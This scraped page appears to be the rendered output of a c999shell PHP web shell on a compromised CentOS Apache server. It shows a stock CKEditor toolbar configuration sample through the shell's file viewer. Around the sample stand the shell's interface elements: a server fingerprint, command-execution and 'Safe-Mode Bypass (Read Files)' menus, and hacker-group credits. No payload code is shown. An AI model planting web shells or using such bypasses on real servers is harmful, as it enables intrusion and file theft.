Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/reportEregis111/PFBC/Resources/ckeditor/samples/plugins/toolbar/ drwxr-xr-x |
Viewing file: toolbar.html (7.83 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | CKEditor Samples » Toolbar ConfigurationThis sample page demonstrates editor with loaded full toolbar (all registered buttons) and, if current editor's configuration modifies default settings, also editor with modified toolbar. Since CKEditor 4 there are two ways to configure toolbar buttons. By config.toolbar
You can explicitly define which buttons are displayed in which groups and in which order.
This is the more precise setting, but less flexible. If newly added plugin adds its
own button you'll have to add it manually to your To add a CKEditor instance with custom toolbar setting, insert the following JavaScript call to your code: CKEDITOR.replace( 'textarea_id', { toolbar: [ { name: 'document', items: [ 'Source', '-', 'NewPage', 'Preview', '-', 'Templates' ] }, // Defines toolbar group with name (used to create voice label) and items in 3 subgroups. [ 'Cut', 'Copy', 'Paste', 'PasteText', 'PasteFromWord', '-', 'Undo', 'Redo' ], // Defines toolbar group without name. '/', // Line break - next group will be placed in new line. { name: 'basicstyles', items: [ 'Bold', 'Italic' ] } ] }); By config.toolbarGroups
You can define which groups of buttons (like e.g. To add a CKEditor instance with custom toolbar groups setting, insert the following JavaScript call to your code: CKEDITOR.replace( 'textarea_id', { toolbarGroups: [ { name: 'document', groups: [ 'mode', 'document' ] }, // Displays document group with its two subgroups. { name: 'clipboard', groups: [ 'clipboard', 'undo' ] }, // Group's name will be used to create voice label. '/', // Line break - next group will be placed in new line. { name: 'basicstyles', groups: [ 'basicstyles', 'cleanup' ] }, { name: 'links' } ] // NOTE: Remember to leave 'toolbar' property with the default value (null). }); Full toolbar configurationBelow you can see editor with full toolbar, generated automatically by the editor.
Note: To create editor instance with full toolbar you don't have to set anything.
Just leave |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0185 ]-- |